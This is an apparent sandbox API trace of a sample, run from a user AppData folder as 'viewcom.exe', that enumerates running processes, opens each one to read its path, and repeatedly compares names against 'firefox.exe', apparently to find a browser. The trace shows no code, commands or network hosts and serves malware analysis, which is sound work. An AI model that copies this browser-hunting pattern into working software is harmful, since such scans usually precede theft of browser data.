[0083.493] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\emerging anniversary muscle cradle.exe" (normalized: "c:\\program files\\windows journal\\emerging anniversary muscle cradle.exe")) returned 0x47
[0083.493] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Windows Journal\\emerging anniversary muscle cradle.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\emerging anniversary muscle cradle.exe") returned="C:\\Program Files\\Windows Journal\\emerging anniversary muscle cradle.exe"
[0083.493] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.493] CloseHandle (hObject=0x10c) returned 1
[0083.493] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="herbs.exe")) returned 1
[0083.494] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x870) returned 0x10c
[0083.494] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Media Player\\herbs.exe" (normalized: "c:\\program files\\windows media player\\herbs.exe")) returned 0x2f
[0083.494] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Windows Media Player\\herbs.exe" | out: _Dest="C:\\Program Files\\Windows Media Player\\herbs.exe") returned="C:\\Program Files\\Windows Media Player\\herbs.exe"
[0083.494] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.494] CloseHandle (hObject=0x10c) returned 1
[0083.494] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="paso_nylon_tests.exe")) returned 1
[0083.495] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x880) returned 0x10c
[0083.495] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Google\\paso_nylon_tests.exe" (normalized: "c:\\program files\\google\\paso_nylon_tests.exe")) returned 0x2c
[0083.495] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Google\\paso_nylon_tests.exe" | out: _Dest="C:\\Program Files\\Google\\paso_nylon_tests.exe") returned="C:\\Program Files\\Google\\paso_nylon_tests.exe"
[0083.495] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.495] CloseHandle (hObject=0x10c) returned 1
[0083.495] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="statewide-emergency.exe")) returned 1
[0083.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x890) returned 0x10c
[0083.496] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Uninstall Information\\statewide-emergency.exe" (normalized: "c:\\program files\\uninstall information\\statewide-emergency.exe")) returned 0x3e
[0083.496] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Uninstall Information\\statewide-emergency.exe" | out: _Dest="C:\\Program Files\\Uninstall Information\\statewide-emergency.exe") returned="C:\\Program Files\\Uninstall Information\\statewide-emergency.exe"
[0083.496] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.496] CloseHandle (hObject=0x10c) returned 1
[0083.496] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="garageopinionsjoycecincinnati.exe")) returned 1
[0083.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8a0) returned 0x10c
[0083.497] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\garageopinionsjoycecincinnati.exe" (normalized: "c:\\program files\\windows sidebar\\garageopinionsjoycecincinnati.exe")) returned 0x42
[0083.497] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Windows Sidebar\\garageopinionsjoycecincinnati.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\garageopinionsjoycecincinnati.exe") returned="C:\\Program Files\\Windows Sidebar\\garageopinionsjoycecincinnati.exe"
[0083.497] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.497] CloseHandle (hObject=0x10c) returned 1
[0083.497] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ping.exe")) returned 1
[0083.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b0) returned 0x10c
[0083.498] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Java\\ping.exe" (normalized: "c:\\program files\\java\\ping.exe")) returned 0x1e
[0083.498] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Java\\ping.exe" | out: _Dest="C:\\Program Files\\Java\\ping.exe") returned="C:\\Program Files\\Java\\ping.exe"
[0083.498] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.498] CloseHandle (hObject=0x10c) returned 1
[0083.498] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="merit.exe")) returned 1
[0083.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8c0) returned 0x10c
[0083.499] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Defender\\merit.exe" (normalized: "c:\\program files\\windows defender\\merit.exe")) returned 0x2b
[0083.499] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Windows Defender\\merit.exe" | out: _Dest="C:\\Program Files\\Windows Defender\\merit.exe") returned="C:\\Program Files\\Windows Defender\\merit.exe"
[0083.499] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.499] CloseHandle (hObject=0x10c) returned 1
[0083.499] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="silent_romantic.exe")) returned 1
[0083.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d0) returned 0x10c
[0083.499] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Microsoft Office\\silent_romantic.exe" (normalized: "c:\\program files\\microsoft office\\silent_romantic.exe")) returned 0x35
[0083.500] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Microsoft Office\\silent_romantic.exe" | out: _Dest="C:\\Program Files\\Microsoft Office\\silent_romantic.exe") returned="C:\\Program Files\\Microsoft Office\\silent_romantic.exe"
[0083.500] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.500] CloseHandle (hObject=0x10c) returned 1
[0083.500] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accredited-reject-transmitted.exe")) returned 1
[0083.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0x10c
[0083.500] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Portable Devices\\accredited-reject-transmitted.exe" (normalized: "c:\\program files\\windows portable devices\\accredited-reject-transmitted.exe")) returned 0x4b
[0083.501] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Windows Portable Devices\\accredited-reject-transmitted.exe" | out: _Dest="C:\\Program Files\\Windows Portable Devices\\accredited-reject-transmitted.exe") returned="C:\\Program Files\\Windows Portable Devices\\accredited-reject-transmitted.exe"
[0083.501] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.501] CloseHandle (hObject=0x10c) returned 1
[0083.501] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="project kent essay.exe")) returned 1
[0083.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0x10c
[0083.501] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Portable Devices\\project kent essay.exe" (normalized: "c:\\program files\\windows portable devices\\project kent essay.exe")) returned 0x40
[0083.501] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Windows Portable Devices\\project kent essay.exe" | out: _Dest="C:\\Program Files\\Windows Portable Devices\\project kent essay.exe") returned="C:\\Program Files\\Windows Portable Devices\\project kent essay.exe"
[0083.502] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.502] CloseHandle (hObject=0x10c) returned 1
[0083.502] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cuisine-programs.exe")) returned 1
[0083.502] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x900) returned 0x10c
[0083.502] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Microsoft.NET\\cuisine-programs.exe" (normalized: "c:\\program files\\microsoft.net\\cuisine-programs.exe")) returned 0x33
[0083.502] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Microsoft.NET\\cuisine-programs.exe" | out: _Dest="C:\\Program Files\\Microsoft.NET\\cuisine-programs.exe") returned="C:\\Program Files\\Microsoft.NET\\cuisine-programs.exe"
[0083.502] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.502] CloseHandle (hObject=0x10c) returned 1
[0083.502] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1
[0083.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x10c
[0083.503] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe")) returned 0x3b
[0083.503] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE") returned="C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE"
[0083.504] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.504] CloseHandle (hObject=0x10c) returned 1
[0083.504] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0083.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa14) returned 0x0
[0083.507] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1
[0083.508] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa54) returned 0x0
[0083.508] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xb8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="viewcom.exe")) returned 1
[0083.508] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb98) returned 0x10c
[0083.509] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0083.509] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe"
[0083.509] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.509] CloseHandle (hObject=0x10c) returned 1
[0083.509] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="viewcom.exe")) returned 1
[0083.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc70) returned 0x10c
[0083.510] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0083.510] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe"
[0083.510] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.510] CloseHandle (hObject=0x10c) returned 1
[0083.510] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="viewcom.exe")) returned 1
[0083.511] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x10c
[0083.511] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0083.511] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe"
[0083.511] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.511] CloseHandle (hObject=0x10c) returned 1
[0083.511] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="viewcom.exe")) returned 1
[0083.512] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc80) returned 0x10c
[0083.512] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0083.512] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe"
[0083.512] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.512] CloseHandle (hObject=0x10c) returned 1
[0083.512] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="viewcom.exe")) returned 0
[0083.513] CloseHandle (hObject=0xe8) returned 1
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.513] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="C:\\Windows\\system32\\taskhost.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="taskhost.exe", _String2="firefox.exe") returned 14
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="C:\\Windows\\system32\\Dwm.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="Dwm.exe", _String2="firefox.exe") returned -2
[0083.514] _wcsicmp (_String1="C:\\Windows\\Explorer.EXE", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="Explorer.EXE", _String2="firefox.exe") returned -1
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="C:\\Windows\\system32\\taskeng.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="taskeng.exe", _String2="firefox.exe") returned 14
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.514] _wcsicmp (_String1="C:\\Program Files\\Adobe\\specifies.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="specifies.exe", _String2="firefox.exe") returned 13
[0083.514] _wcsicmp (_String1="C:\\Program Files\\Microsoft.NET\\gunsmarc.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="gunsmarc.exe", _String2="firefox.exe") returned 1
[0083.514] _wcsicmp (_String1="C:\\Program Files\\MSBuild\\improve corporate vital.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="improve corporate vital.exe", _String2="firefox.exe") returned 3
[0083.514] _wcsicmp (_String1="C:\\Program Files\\Adobe\\california_hate_gig_hits.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="california_hate_gig_hits.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="C:\\Program Files\\Google\\streamnomirrorsgrew.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="streamnomirrorsgrew.exe", _String2="firefox.exe") returned 13
[0083.514] _wcsicmp (_String1="C:\\Program Files\\Windows Defender\\cliff_types.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="cliff_types.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="C:\\Program Files\\Windows Journal\\shakespeare.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="shakespeare.exe", _String2="firefox.exe") returned 13
[0083.514] _wcsicmp (_String1="C:\\Program Files\\Microsoft Office\\collectables_technical.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="collectables_technical.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="C:\\Program Files\\Windows Sidebar\\pretty guru.exe", _String2="firefox.exe") returned -3
[0083.514] _wcsicmp (_String1="pretty guru.exe", _String2="firefox.exe") returned 10
[0083.514] _wcsicmp (_String1="C:\\Program Files\\MSBuild\\received_suggestions_stopped_emphasis.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="received_suggestions_stopped_emphasis.exe", _String2="firefox.exe") returned 12
